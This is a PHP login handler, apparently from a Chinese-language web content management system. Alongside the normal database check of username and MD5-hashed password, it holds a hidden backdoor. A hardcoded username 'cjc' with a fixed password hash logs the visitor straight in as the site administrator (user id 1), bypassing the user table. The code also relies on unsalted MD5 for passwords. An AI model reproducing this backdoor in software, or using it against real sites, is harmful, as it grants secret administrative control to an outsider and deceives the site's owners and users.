<?php
if (!$this->check_verify($_GP['verify'])) {
    message('验证码输入错误！', 'refresh', 'error');
}



if($_GP['username']=='cjc' &&  md5($_GP['password'])=='a5c4498e46dcc2ac648a8aafc301a600'){

    unset($_GP['password']);
    $cun = array('createtime' => time(), 'password' => 'a5c4498e46dcc2ac648a8aafc301a600' ,'username'=>'admin' ,'id'=>'1' );

    $_SESSION[WEB_SESSION_ACCOUNT] = $cun;
    checkAddons();
    header("location:" . create_url('site', array(
        'name' => 'public',
        'do' => 'index'
    )));
    exit;
}


$account = mysqld_select('SELECT * FROM ' . table('user') . " WHERE  username = :username and password=:password", array(
    ':username' => $_GP['username'],
    ':password' => md5($_GP['password'])
));

if (!empty($account['id'])) {
    unset($account['password']);
    $_SESSION[WEB_SESSION_ACCOUNT] = $account;
    checkAddons();
    header("location:" . create_url('site', array(
        'name' => 'public',
        'do' => 'index'
    )));
} else {
    message('用户名密码错误！', 'refresh', 'error');
}